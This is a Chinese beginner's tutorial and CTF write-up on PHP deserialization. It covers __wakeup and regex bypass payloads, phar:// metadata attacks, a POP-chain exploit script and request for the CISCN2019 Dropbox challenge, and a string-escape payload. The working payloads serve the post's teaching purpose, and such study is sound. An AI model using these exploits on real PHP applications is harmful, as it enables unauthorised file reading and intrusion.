首页
论坛
课程
招聘
CTFer小白入门向(PHP序列化与反序列化入门笔记)
2022-3-7 14:55 4611

CTFer小白入门向(PHP序列化与反序列化入门笔记)

2022-3-7 14:55
4611

php->序列化&反序列化

PHP序列化:PHP序列化是将变量或者对象转换成字符串的过程

 

PHP反序列化:PHP反序列化将字符串转换成变量或者对象的过程

 

序列化与json的区别:json无法处理对象方法等数据,虽然都是键值对的方式进行存储

1
__construct方法:在某一个类被实例化的时候,这个方法他会自动的执行

一段小小的序列化的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Test{
    private $a;
    protected $b;
    public $c;
    var $d;
    static $f;
    function __construct()
    {
        $this ->a =$this ->b = $this ->c = $this ->c = $this ->f = $this ->e =1;
    }
    function __wakeup()
    {
 
    }
    function __destruct()
    {
 
    }
}
$t = new Test;
$p = serialize($t);
print($p);

通过这个代码我们可以得到一个字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// O:4:"Test":6:{s:7:"Testa";i:1;s:4:"*b";i:1;s:1:"c";i:1;s:1:"d";i:1;s:1:"e";i:1;s:1:"f";i:1;}
// 第一位 O 代表是 object 是一个对象;第二位 4 则表示类名的长度,为4;第三位"Test"是类的名称;
// 第四位 6 是属性,也就是列表的长度,为 abcdef 这六个属性;
// 往后就是六个属性分别对应的类型和值了;
// 第一个变量是private $a; => s:7:"Testa";i:1; 首先 s则表示这个变量的名字为字符串,长度为7(这里的长度为7是因为类名+变量名) 后面又有i,i则表示这个数据的数据类型是整数型,值为1;
// 第一个分号(;)前面说明了他的名字已经修饰符, 第二个分号则说明了值是什么类型已经值是多少;
// 第二个变量是protected $b => s:4:"*b";i:1; 他的名字是字符串,然后他的名字为"*b";他的数据类型是i,也就是整数型,数值为1;
// 第三个变量是public $c => s:1:"c";i:1; 他的名字是字符串,然后他的名字为"c",他的数据类型是i,也就是整数型,并且数值也为1;
// 第四个变量是var $d => s:1:"d";i:1; 他的名字是字符串,然后他的名字为"d",他的数据类型是i,也就是整数型,并且数值也为1;
// 第五个变量是未提前申明的$e => s:1:"e";i:1; 他的名字是字符串,然后他的名字为"e",他的数据类型是i,也就是整数型,并且数值也为1;
// 第六个变量是 static $f; => s:1:"f";i:1; 他的名字是字符串,然后他的名字为"f",他的数据类型是i,也就是整数型,并且数值也为1;
// 这里说明为什么变量$a和$b明明只显示了五个和两个,但是实际上却有7位和4位字符串
// 是因为原本字符串是"%00Test%00a""%00*%00b"(这里的%00是用URL编码后的Ascii码为0的不可见字符来代替的).所以才显示有7位字符串和4位字符串的;
// 序列化的格式(大致为) => Type:[length]:(text)

这里了解了序列化和反序列化之后还需要学习两个魔术方法,__sleep()__wakeup()

 

__sleep()函数是在进行序列化之前执行的,而_wakeup()函数则是在进行反序列化之前执行的

 

__sleep()函数是告诉PHP要序列那些属性,__sleep()返回什么,PHP就序列化什么

 

那么反序列化是什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Test{
    private $a;
    protected $b;
    public $c;
    var $d;
    static $f;
    function __construct()
    {
        $this ->a =$this ->b = $this ->c = $this ->d = $this ->f = $this ->e =1;
    }
    function __wakeup()
    {
 
    }
    function __destruct()
    {
 
    }
}
$t = unserialize('O:4:"Test":4:{s:1:"c";i:1;s:1:"d";i:1;s:1:"e";i:1;s:1:"f";i:1;}');
print_r($t);

执行完之后可以获得

1
2
3
4
5
6
7
8
9
Test Object
(
    [a:Test:private] =>
    [b:protected] =>
    [c] => 1
    [d] => 1
    [e] => 1
    [f] => 1
)

此时的正常结果都是1,此时我们在__wakeup()函数中添加PHP语句

 

$this -> c =2再次执行PHP代码

 

此时的返回结果为

1
2
3
4
5
6
7
8
9
Test Object
(
    [a:Test:private] =>
    [b:protected] =>
    [c] => 2
    [d] => 1
    [e] => 1
    [f] => 1
)

那么来看一道简单的PHP反序列化的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A {
    public $file = __FILE__;
    function __construct($file){
        $this -> file = $file;
    }
    function __wakeup(){
        if ($this -> file !== __FILE__){
            $this -> file = __FILE__;
        }
    }
    function __destruct(){
        highlight_file($this -> file);
    }
}
if (isset($_REQUEST['file'])){
    @unserialize($_REQUEST['file']);
} else {
    highlight_file(__FILE__);
}

这道题比较的简单,首先我们可以看到$file的值被设定为了__FILE__,而后,有高亮显示__FILE__的内容,此时我们的思路是将$file的内容变成可以显示flagflag.php
但是有一个__wakeup函数,会将$file的内容设置为__FILE__此时我们需要利用一个PHP反序列化的一个漏洞即可进行绕过

 

首先本地先用PHP执行

1
2
3
4
5
6
<?php
class A{
    public $file = "flag.php";
}
$t = new A;
echo serialize($t);

可以得到

1
O:1:"A":1:{s:4:"file";s:8:"flag.php";}

此时我们将上面序列化的结果进行一些更改

1
O:1:"A":2:{s:4:"file";s:8:"flag.php";}

这里将变量的数量进行更改,虽然这一条序列化后的结果是错误的,但是PHP还是会将其进行实例化,但是不会去执行这个__wakeup函数所以就可以成功的拿到此题的flag

 

第二个入门题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A{
    private $file = __FILE__;
    function __construct($file)
    {
        $this -> file = $file;
    }
    function __wakeup()
    {
        if ($this -> file !== __FILE__){
            $this -> file = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this -> file);
    }
}
if (isset($_REQUEST['file'])){
    $file = $_REQUEST['file'];
    if (preg_match('/O:\d+:/i', $file)){
        die("hacking!!!");
    }
    @unserialize($_REQUEST['file']);
}else{
    highlight_file(__FILE__);
}

这个题目和上一题大体上差不多,但是在下面加了一个过滤,这个过滤采用的是一个正则表达式,大致意思为一个O加上:加上任意数字再加上一个冒号:然后不区分大小写,并且将上一题的public换成了private

 

然后我们在本地一个PHP文件中执行

1
2
3
4
5
6
<?php
class AAA{
    private $file = "flag.php";
}
$a = new AAA;
echo serialize($a);

得到序列化结果

1
O:3:"AAA":1:{s:9:"AAAfile";s:8:"flag.php";}

但是我们这个结果因为题目中使用的是private所以应该修改

1
O:3:"AAA":2:{s:9:"%00AAA%00file";s:8:"flag.php";}

但是将这串URL放上去之后会被正则表达式所识别,会返回hacking!!!的字样,所以我们要绕过正则表达式

 

正则匹配主要是匹配O:数字:,而我们的payload为O:3:
我们第三位是一个数字,那么数字是可以有正数和负数的,而正数前面的符号进行添加和省略对数字本身是没有影响的,此时我们给数字前面添加一个+号,即可绕过这个正则匹配,但是这个+需要经过URL编码,不然会被URL解码成为一个空格所以最后的payload为

1
O:%2b3:"AAA":2:{s:9:"%00AAA%00file";s:8:"flag.php";}

就可以显示flag.php文件中的内容了

PHP中的魔术方法

1
2
3
4
5
6
7
8
9
10
__sleep() // 使用serialize时触发;
__destruct() // 对象被销毁的时候出发;
__call() // 对象上下文中调用不可访问的方法时触发;
__callStatic() // 在静态上下文中调用不可访问的方法时触发;
__get() // 用于不可访问的属性读取数据
__set() // 用于将数据写入不可访问的数据
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString // 把类当作字符串使用时触发
__invoke() // 当脚本尝试将对象调用为函数时触发

POP链构造

举个例子: 我们能够利用的点A,但是C才是由反序列化漏洞的点,这个时候我们就需要构造POP链A->B->C

phar://

phar:// 数据流包装器

 

一段phar的示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class B{
    public function __destruct()
    {
        echo $this -> name;
    }
}
 
$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$o = new B;
$o -> name = 'P1ng';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();
 
// 这里首先创建了一个名为B的类,然后实例化了一个Phar,并传入了一个字符串,那么这个字符串之后会被保存为一个文件,也就是文件名
// $phar -> startBuffering(); -> 开启缓冲
// $phar -> setStub("<?php __HALT_COMPILER(); >");
// 这里是一个phar文件的标志位,这里往phar文件中写了一段PHP的代码,这个代码的具体含义是中止编程
// 注: 这个标志位的前面可以随便加字符,但是结尾一定是这个标识位来结尾
// 然后就是实例化了一个类,并且把他的name属性定义为了P1ng
// 然后将$o设置为phar的媒体数据写入phar文件中
// 然后是 $phar -> addFromString("test.txt", "test"); 本意是把test的文件的数据导入到phar这个压缩包中的test.txt这个文件中
// 这里因为没有利用到所以没有这个文件也没有关系
// $phar -> stopBuffering(); 停止写入数据

然后我们运行这一串代码会得到一个test.phar的文件,然后我们打开这个文件

 

1645954371865

 

这个文件中可以看到我们前面利用$phar -> setStub("<?php __HALT_COMPILER(); ?>");等内容,但是重要的是我们可以发现一串经过了序列化的一个对象,也就是一串字符串

1
O:1:"B":1:{s:4:"name";s:4:"P1ng";

我们来分析一下这个字符串,首先它是一个对象,然后他的名称长度为1是B,然后他有一个变量,变量的名称是字符串,长度为4,是name,然后变量name的内容也是字符串,长度为4,为P1ng.
这不正是我们上方代码写的对象$o实例化之后的字符串嘛?

1
2
$o = new B;
$o -> name = 'P1ng';

这个时候我们就知道了,往媒体数据(phar)写入一个对象的时候,这个对象将会被序列化然后保存在这个文件当中,那么既然在保存的时候序列化一次,那提取的时候会反序列化一次,因为序列化为一个字符串,所以提取出来要变成一个对象,所以会进行反序列化一次

 

接下来我们稍微的调整一下代码

 

在代码下面加上一小段代码

1
file_get_contents('phar://test.phar/text.txt');

这段代码的含义差不多就是用phar协议来读取我们test.phar文件中得的test.txt数据

 

执行添加上file_get_contents代码的代码后,得到结果为 P1ngP1ng,一开始不加file_get_contents之前是只有一个P1ng

 

这边是因为,一开始有一个类中有一个__destruct方法,打印P1ng,第二个就是因为file_get_contents又打印了一个

 

这边我们直接做一道真题来适应适应

[CISCN2019 华北赛区 Day1 Web1]Dropbox(BUUCTF)

首先拿到平台给我们的URL进行访问可以看到,一开始是一个登陆框

 

1645965951621

 

但是给我们提供了一个注册的功能,我们利用这个功能注册一个账号P1ng/123456

 

然后利用注册的账号和密码直接登入进去

 

1645966024270

 

来到一个内部的功能界面,发现又文件上传功能,尝试上传一句话木马,看看

 

1645966088787

 

我们仅仅在Content-Type:字段伪造为jpg就可以绕过文件上传,但是回到index.php页面发现上传是上传成功了,但是后缀被强行的改为jpg,不存在一句话木马利用,所以把目标转向其他地方

 

点击下载,查看burp suite中的数据包

 

1645966241533

 

发现下载的文件是明文传给filename参数中的,我们将数据包传给repeater模块进行测试,看是否有任意文件下载漏洞,可以包含到index.php和其他php文件

 

经过一段时间的测试,发现index.php等文件仅仅是在上传文件目录的上两层文件夹中

 

1645966371653

 

然后我们利用这个任意文件下载的漏洞,把我们目前遇到过的php文件都下载下来

 

1645966634643

 

然后从index.php文件开始对这些文件进行代码审计

 

首先从index.phpphp代码中看到,index.php首先先包含了class.php,我们再利用任意文件下载的漏洞将class.php文件下载一下

 

index.php的代码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php
include "class.php";
 
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

首先index.php中先实例化了一个名为FileList的类,然后再调用了这个类中的两个方法NameSize,那么这个类的内容,相比就在class.php

 

但是我们看到FileList类中实际上是只有三个方法的,分别是__construct,__call__destruct三个魔术方法的,但是如果调用类中没有的方法是会报错,但是index.php却没有报错,这里是因为其中一个魔术方法__call,当一个类中不存在或不可调用的一个方法被调用了,那么就自动的调用__call方法,也就是说,index.php调用了两次这个__call

 

那我们来分析一下这个__call方法

1
2
3
4
5
6
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

首先将$func变量加入到$funcs这个数组当中,然后去遍历每个文件( foreach 语法结构提供了遍历数组的简单方式 ),然后再调用一个名为results的数组,第一个keyfile类中的name方法,第二个key$func然后等于file类中的$func方法

 

那我们就继续审计file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class File {
    public $filename;
 
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
 
    public function name() {
        return basename($this->filename);
    }
 
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
 
    public function detele() {
        unlink($this->filename);
    }
 
    public function close() {
        return file_get_contents($this->filename);
    }
}

首先file类中总共有五个方法,分别是open,name,size,delete,close;

 

open方法就是判断filename给出的文件是否存在

 

name方法就是得到filename的文件名

 

size方法就是得到filename的大小

 

delete方法就是删除filename

 

close方法是读取这个文件

 

那么我们重点关注这个close方法,如果我们能够做到控制这个读取的文件名,我们就可以做到任意文件读取

 

我们的思路就可以变为,让FileList对象去执行一个close方法,但是我们的FileLast中是没有close方法的,这个时候就会变成让file去执行close方法

 

此时我们会有一个疑问,我们不是在下载功能处得到了一个任意文件下载的漏洞了嘛?为什么还要在class.php中再获取一个任意文件读取漏洞,所以这个时候我们审计一下download.php文件

 

download.php文件代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
 
if (!isset($_POST['filename'])) {
    die();
}
 
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
 
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

首先他也是包含了class.php,然后出现两个函数ini_set:设定指定选项的值,和getcwd():获取当前的工作目录,然后实例化了一个file,并将$filename变量的值设置为$_POST['filename']的值

 

然后有一个if的判断,首先filename的长度不能够超过40,并且file类中的open方法可以对filename执行,然后用stristr函数判断filename中是否有flag字符串,如果有则执行echo File not exist;所以我们这个任意文件下载是不能够下载flag.

 

那么我们的思路如下:

  1. 我们首先要构造一个FileLast实例化的对象
  2. 然后让这个对象调用不存在的close方法,这样就会调用file类中的close方法
  3. 还需要将file类中的filename的值设置为flag

这个时候我们可以通过phar://来达到第一条实例化一个FileLast的对象,但是却不可以实现第二条,让我们实例化的这个对象调用close方法

 

那么这个时候就要利用到我们的POP链了,我们需要找到其他地方,其他调用到close()方法的地方,然后我们就找到了class.phpUser类中的__destruct方法调用到了一个close()方法

1
2
3
public function __destruct() {
        $this->db->close();
    }

这个User类的close(),中发现有一个db属性,这个db属性是全局变量连接MySQL的对象

1
2
3
4
5
6
7
8
9
10
11
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
 
class User {
    public $db;
 
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    // PS:省略了大部分代码
}

这个流程就是,User类销毁的时候,将与MySQL的连接关闭

 

那么恰巧因为MySQL关闭连接的方法叫close,而我们进行利用的方法也叫closes.那么如果我们将db替换为file,那么就正好了

 

我们尝试构造这么个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
 
use User as GlobalUser;
 
class User{
    public $db;
    function __construct(){
        $this -> db = new FileList();
        // 将db变为FileList的对象,就等于是$this -> new FileList -> close(); => File -> close()
    }
}
 
class FileList {
    private $files;
    private $results;
    private $funcs;
    function __construct()
    {
        $this -> files = [new File('/flag')]; // 传入一个/flag给File类中
        $this -> results = [];
        $this -> funcs = [];
    }
}
class File {
    public $filename;
    function __construct($name)
    {
        $this -> filename = $name; // 将传入的/flag设置为filename
    }
}
 
$a = new User();
// 当我们将$a传入服务器的时候,我们销毁这个$a,然后就会执行class.php User()中的__destruct方法
// 原本是调用db->close() 因为我们构造的exp,导致db->close()变成了FileList->close()
// 然后FileList中没有close的方法,就去调用__call的方法,调用__call的方法,就变为调用File的close
// 因为我们exp的原因,$filename的值变为flag,调用file->close()方法的时候,就会读取/flag的内容
$phar = new Phar("exp.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("exp.txt", "exp");
$phar -> stopBuffering();
// 然后利用phar,生成一个exp.phar包

然后就可以看到一个exp.phar包,包中有已经序列化过的$a的内容了

1
2
<?php __HALT_COMPILER(); ?>
�&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;&#00;�&#00;&#00;&#00;O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:"&#00;FileList&#00;files";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:5:"/flag";}}s:17:"&#00;FileList&#00;results";a:0:{}s:15:"&#00;FileList&#00;funcs";a:0:{}}} &#00;&#00;&#00;exp.txt&#00;&#00;&#00;�b&#00;&#00;&#00;R��&#00;&#00;&#00;&#00;&#00;&#00;exp�9������'� U�|+�&#00;&#00;&#00;GBMB

这道题真好又有上传的功能,我们再将制作好的exp.phar上传到服务器内,只需要绕过Content-Type:字段的内容就可以上传成功,虽然后缀会被强制修改,但是并不影响到我们文件本身的内容,所以没有太大的问题

 

然后再从下载的地方抓包进行phar://协议的利用

 

发现利用之后还是哒咩,然后去百度了一番,发现flag文件不是flag,而是flag.txt

 

这道题除了这里还有另一个小地方,就是download.php的另一个设置

1
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

我们只可以读取当前文件夹,etc,tmp这三个文件夹中的内容...

 

但是我们漏了一个重要的功能,那就是删除功能,所以我们将删除功能的代码也下载下来瞅一眼

 

delete.php文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
 
if (!isset($_POST['filename'])) {
    die();
}
 
include "class.php";
 
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

我们发现这里就没有限制工作目录,所以我们就利用这里的open($filename)进行操作

 

我们对delete.php进行抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /delete.php HTTP/1.1
Host: a4073d28-ad4e-4715-8ab8-473d95519df5.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Origin: http://a4073d28-ad4e-4715-8ab8-473d95519df5.node4.buuoj.cn:81
Connection: close
Referer: http://a4073d28-ad4e-4715-8ab8-473d95519df5.node4.buuoj.cn:81/index.php
Cookie: UM_distinctid=17f301ebdc1427-0e20652bf0567b-4c3e227d-13c680-17f301ebdc2412; PHPSESSID=30ac3e3e0789f46c6cecdbc3c4774741
 
filename=phar://exp.jpg

filename后面的参数修改为phar://exp.jpg这里要修改为jpg为不是phar因为服务器强制的修改了文件名.

 

然后放到repeater模块中进行操作,就可以拿到flag!

 

1645972351398

 

总结:我们先任意注册一个用户,然后利用上传文件的功能,任意上传一个文件(虽然会被强制改文件的后缀名),但是新出现了两个功能,分别是下载和删除,然后我们利用下载功能将题目的php源码全部都下载下来进行代码审计,然后利用了class.php中的FileList类中的__call方法,和File类中的close方法,为了构造POP链,还利用了User类中的close方法,将原本的db数据库连接对象替换为了FileList的对象,然后将File类中的filename属性替换为了flag.txt来读取本题的flag文件,但是利用下载点的时候被限制住了工作目录,所以需要换一个功能点进行测试

PHP-反序列化(字符串逃逸)

首先我们先看这样一个经过序列化之后的字符串

1
a:1:{i:0;s:3:"123";}???

可以从这个字符串中得到信息,首先它是一个数组,数组中有一个键值为int型的0,然后value值是一个str型,长度为3123,但是可以看到后面有一串???这个是什么东西呢?我们先不管,先将这一串字符串进行反序列化

 

执行PHP代码

1
2
<?php
    print_r(unserialize('a:1:{i:0;s:3:"123";}???'));

得到回显

1
2
3
4
Array
(
    [0] => 123
)

这是有这三个?所得到的结果,此时我们再将?都去掉查看回显

1
2
3
4
Array
(
    [0] => 123
)

发现回显并没有改变,有和没有都是一样的结果

 

也就是说,序列化一个字符串,序列化到他的结束符之后,后续的内容是不会进行序列化的

 

而我们的123的内容是可控的,那么我们直接在123后面加上前面一个序列化的结束符

1
a:1:{i:0;s:3:"123";}";}

也就是我们输入的内容变为123";}然后就会导致后面的字符串失效,也就是说原来的";}无效了

 

那么我们再将这样一个字符串进行反序列化之后,就会发现,和上面两个并没有区别

 

这里的字符串逃逸的原理其实和SQL注入的原理差不多

 

SQL注入闭合前面的查询语句,然后后面接上自己的恶意SQL语句

 

字符串逃逸是闭合前面的属性,后面接上我们自己添加的其他的属性

 

接下来我们看一看php_var_unserialize函数的实现

 

首先看一段var_unserialize.c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
yych = *YYCURSOR;
switch (yych) {
    case 'C':
    case 'O': goto yy4;
    case 'N': goto yy5;
    case 'R': goto yy6;
    case 'S': goto yy7;
    case 'a': goto yy8;
    case 'b': goto yy9;
    case 'd': goto yy10;
    case 'i': goto yy11;
    case 'o': goto yy12;
    case 'r': goto yy13;
    case 's': goto yy14;
    case '}': goto yy15;
    default: goto yy2;
}

可以看到yych这个指针用switch来匹配我们序列化之后的字符串,这边我们随便举个例子,如果匹配到s,我们跟进它,最终会发现,最终会跳转到yy90来,我们简单分析一下yy90的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
yy90:
    ++YYCUROSR;
#line 800 "ext/standard/var_underializer.re"
{
    size_t len,maxlen;
    char *str;
    len = parse_uiv(start + 2);
    maxlen = max + YYCURSOR;
    if (maxlen < len){
        *p = start + 2;
        return 0;
    }
    str = (char*)YYCURSOR;
    YYCURSOR += len;
       if (*(YYCURSOR) != '"'){
        *p = YYCURSOR;
        return 0;
    }
    if (*(YYCURSOR +1) !=';'){
        *p = YYCURSOR +1;
        return 0;
    }
    YYCURSOR +=2;
    *p = YYCURSOR;
 
    if (len ==0){
        ZVAL_EMPTY_STRING(rval);
    }else if (len == 1){
        ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
    }else if (as_key){
        ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
    }else{
        ZVAL_STRINGL(rval, str, len);
    }
    return 1;
}

首先看yy90中的这一小段

1
2
3
4
5
len = parse_uiv(start + 2);
    maxlen = max + YYCURSOR;
    if (maxlen < len){
        *p = start + 2;
        return 0;

首先他从start的位置加了两位,也就是识别到s之后往后移两位,也就会识别到我们字符串长度的信息,然后得到长度的信息,进行判断,如果我们输入的长度超过了它的最大长度也就是maxlen,他就会return 0

 

然后向下继续分析

1
2
3
4
5
YYCURSOR += len;
       if (*(YYCURSOR) != '"'){
        *p = YYCURSOR;
        return 0;
    }

他把YYCURSOR指针加上了获取到的长度len,然后如果长度的下一位不是双引号的话,也就会抛出错误

1
2
3
4
if (*(YYCURSOR +1) !=';'){
        *p = YYCURSOR +1;
        return 0;
    }

如果双引号的后一位,不是;,也会抛出错误,否则就会对len这一部分进行编程字符串,然后return 1表示成功

1
2
3
4
5
6
7
8
9
10
if (len ==0){
        ZVAL_EMPTY_STRING(rval);
    }else if (len == 1){
        ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
    }else if (as_key){
        ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
    }else{
        ZVAL_STRINGL(rval, str, len);
    }
    return 1;

我们可以发现,他就是严格按照这么一个模板,进行反序列化

1
S:len:"字符串内容";

现在我们了解了基本的原理,接下来我们来做一道题来更深入理解一下

 

What we can do.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
    error_reporting(255);
    class A{
        public $filename = __FILE__;
        public function __destruct(){
            highlight_file($this->filename);
            // 高亮显示 filename 参数中的文件,默认是当前文件
        }
    }
    function waf($s){
        return preg_replace('/flag/i', 'index', $s);
        // 识别flag然后将其替换为index
    }
    if (isset($_REQUEST['x']) && is_string($_REQUEST['x'])){
        // 输入一个参数 x 且这个 x 必须是一个字符串
        $a = [
            0 => $_REQUEST['x'],
            1 => "1"
        ];
        // 然后定义一个数组类型, 0 对应的是我们的参数 x , 1 对应的就是 1
        @unserialize(waf(serialize($a)));
        // 先对数组$a进行序列化,然后过一遍上面定义的waf,然后在对其进行反序列化
    }else{
        new A();
    }

我们的突破点肯定就是在A这个类中,将filename的值改为flag.php,那么我们怎么操作呢?

 

首先我们可控的变量只有$_REQUEST['x'],而这个x经过了序列化,然后过一遍waf然后再反序列化,似乎和我们的A没有任何关系

 

我们直接来看payload,然后对payload进行一个分析

1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}

首先他前面有很长很长的flag字符串,然后更上了一个;,然后为整数型,数值为0,跟上一个;号,然后再写了一个o,一个对象,对象名称长度为1,名称为A,有一个属性,字符串类型的名称,名称长度为8,为filename,所对应的值的长度也为8,为\66\6c\61\67\2E\70\68\70,然后闭合这个序列化字符串,后面跟上了两个}

 

假设我们先不添加前面的flag,直接将后面的";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}发送给服务器

 

页面无回显,漏洞并没有利用成功

 

我们可以在本地模拟一下,输入一下一段php的代码

1
2
3
4
5
6
7
<?php
$a = [
    0 => '";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}',
    1 => "1"
];
 
print_r(serialize($a));

然后得到执行的结果

1
a:2:{i:0;s:65:"";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}";i:1;s:1:"1";}

可以看到s:65也就是说键0对应的值长度为65,也就是说,他会从第一个"往后65位都进行匹配,直到匹配完且下一位为",也就是说我们输入的";这些字符都作为了数值,并没有利用起来

 

从我们上面分析的源码来看,它是按照长度来进行匹配的,所以我们没有办法和SQL注入一样,直接用特殊的符号将其进行闭合

 

他的长度,是由于他在序列化的时候得到的长度,我们是没有办法进行改变的

 

但是这道题还有一个关键点,那就是前面的waf

 

waf会将我们输入的字符串中有flag的字符串替换为index,我们可以发现,flag字符串长度为4,而index字符串长度为5,这样是不是可以帮我们增加一个长度?

 

而且这个waf巧的就是没有在serialize前面替换,而是在其后面进行替换,那么我们的突破点就在这里

 

接下来在我们本地的php脚本中添加waf函数,并进行利用

1
2
3
4
5
6
7
8
9
<?php
$a = [
    0 => 'flag',
    1 => "1"
];
function waf($a){
    return preg_replace('/flag/i', 'index', $a);
}
print_r(waf(serialize($a)));

我们先用flag尝试一下,看看返回的结果

1
a:2:{i:0;s:4:"index";i:1;s:1:"1";}

发现这个序列化的字符串中,标记的键0对应字符串的长度是4而实际长度却是5

 

而反序列化进行匹配的时候,匹配到x的位置,应该是",匹配错误,抛出异常,继而匹配下一位,"匹配到;还是匹配不到,又抛出一个错误

 

首先我们没加waf函数先进行序列化

1
a:2:{i:0;s:325:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}";i:1;s:1:"1";}

发现这边长度是有325的,然后我们再将waf函数利用上

1
a:2:{i:0;s:325:"indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}";i:1;s:1:"1";}

这个时候我们发现,长度还是325没有变化,但是所有index加起来的长度正好是325,然后第326位则是",正好匹配到,然后有用;将前面这个属性进行闭合,然后就可以利用我们自己构造的A对象

 

这个时候正好可以解释为什么后面是两个},而不是一个,可以看到前面又表明这个数组只有两个值,而第一个}表明filename结束,第二个}则是闭合了数组的内容,这样就不会导致原本两个值加上我们自己构造的第三个值导致反序列化错误

 

而后面的字符,也就作为我们一开始例举的三个问号被忽略

 

这就达到了我们的一个字符串逃逸的效果,而这一题逃逸了i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2E\70\68\70";}}"这些字符串

 

总结:这道题目主要原因是在waf过滤的时候没有考虑字符串替换之后长度不一,造成长度溢出,而溢出的长度正好可以让我们利用,构造恶意的序列化字符串来达到效果

 

